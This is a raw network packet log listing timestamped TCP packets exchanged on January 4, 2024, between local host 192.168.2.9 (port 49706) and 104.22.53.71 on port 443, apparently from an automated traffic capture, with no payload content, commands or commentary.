Jan 4, 2024 08:37:17.856785059 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.856792927 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.857326031 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.857363939 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.857391119 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.857395887 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.857417107 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.857451916 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.857713938 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.857743979 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.857772112 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.857777119 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.857801914 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.857834101 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.858473063 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.858499050 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.858527899 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.858536005 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.858570099 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.858577013 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.859154940 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.859170914 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.859205008 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.859209061 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.859239101 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.859249115 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.859577894 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.859613895 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.859632969 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.859637022 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.859663963 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.859678030 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.860094070 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.860112906 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.860163927 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.860168934 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.860208035 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.860645056 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.860665083 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.860698938 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.860704899 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.860727072 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.860753059 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.861191988 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.861207962 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.861257076 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.861263037 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.861308098 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.861644030 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.861660957 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.861696959 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.861701012 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.861722946 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.861740112 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.861998081 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.862010956 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.862050056 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.862054110 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.862102985 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.862437010 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.862452030 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.862503052 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.862507105 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.862550020 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.862909079 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.862925053 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.862974882 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.862979889 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.863020897 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.863254070 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.863277912 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.863306046 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.863316059 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.863332987 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.863356113 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.863778114 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.863791943 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.863827944 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.863831997 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.863857985 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.863866091 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.863873005 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.863878012 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.863889933 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.863904953 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.863934040 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.864115000 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864130020 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864168882 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.864175081 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864208937 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.864320040 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864334106 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864372015 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.864376068 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864389896 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.864415884 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.864438057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864445925 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864495039 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.864500999 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864545107 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.864588976 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864603996 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864634991 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.864639997 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864667892 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.864686966 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.864694118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864754915 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.864862919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864877939 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864917994 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.864922047 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.864962101 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.864984035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865001917 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865036011 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.865040064 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865063906 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.865088940 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.865114927 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865129948 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865178108 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.865181923 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865217924 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.865307093 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865355015 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865386009 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.865390062 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865415096 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865415096 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.865436077 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.865439892 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865451097 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865463018 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.865499020 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.865664005 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865672112 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865695953 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865730047 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.865735054 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865755081 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.865786076 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.865923882 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865946054 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.865982056 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.865986109 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.866000891 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.866008997 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.866034985 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.866034985 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.866051912 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.866089106 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.866172075 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.866185904 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.866218090 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.866223097 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.866247892 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.866839886 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.866858959 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.866893053 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.866898060 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.866923094 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.867316008 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.867330074 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.867377996 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.867383957 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.867690086 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.867748976 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.867753983 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.867765903 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.867800951 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.867810011 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.867818117 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.868380070 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.868395090 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.868428946 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.868434906 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.868463039 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.869071960 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.869091034 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.869155884 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.869162083 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.869168043 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.869349957 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.869363070 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.869400978 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.869406939 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.869436026 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.869733095 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.869751930 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.869781971 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.869786978 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.869812012 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.870153904 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.870170116 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.870203018 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.870208979 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.870229959 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.870593071 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.870608091 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.870644093 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.870650053 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.870670080 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.870975018 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.870990038 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.871042013 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.871047020 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.871392965 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.871414900 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.871445894 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.871449947 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.871464014 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.871877909 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.871892929 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.871928930 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.871937990 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.871958017 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.872390985 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.872420073 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.872462988 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.872471094 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.872474909 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.872811079 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.872826099 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.872859001 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.872869968 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.872875929 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.873359919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.873378992 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.873406887 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.873411894 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.873434067 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.873764992 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.873780012 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.873810053 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.873814106 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.873832941 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.874386072 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.874403954 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.874435902 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.874439955 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.874460936 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.875274897 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.875291109 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.875338078 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.875344038 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.875371933 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.875386000 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.876013041 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.876045942 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.876079082 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.876082897 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.876107931 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.876460075 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.876488924 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.876518965 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.876523018 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.876547098 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.876940966 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.876960993 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.877039909 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.877046108 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.877470016 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.877490044 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.877523899 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.877530098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.877547979 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.877837896 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.877859116 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.877895117 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.877901077 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.877926111 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.878206015 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.878235102 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.878264904 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.878268957 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.878293991 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.878515005 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.878551960 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.878571033 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.878575087 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.878603935 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.878835917 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.878849983 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.878884077 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.878887892 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.878907919 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.879210949 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.879228115 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.879261017 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.879265070 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.879290104 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.879662991 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.879688025 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.879724026 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.879729986 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.879750013 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.880274057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.880294085 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.880330086 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.880336046 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.880358934 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.880712986 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.880778074 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.880779028 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.880789995 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.880855083 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.881068945 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.881087065 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.881123066 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.881127119 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.881145954 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.881422997 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.881450891 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.881481886 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.881485939 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.881517887 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.881805897 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.881820917 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.881858110 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.881861925 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.881884098 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.882272005 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.882288933 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.882329941 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.882337093 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.882349968 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.882747889 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.882764101 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.882802963 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.882811069 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.882826090 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.883409023 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.883434057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.883466959 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.883471012 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.883493900 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.883831024 CET	443	49706	104.22.53.71	192.168.2.9
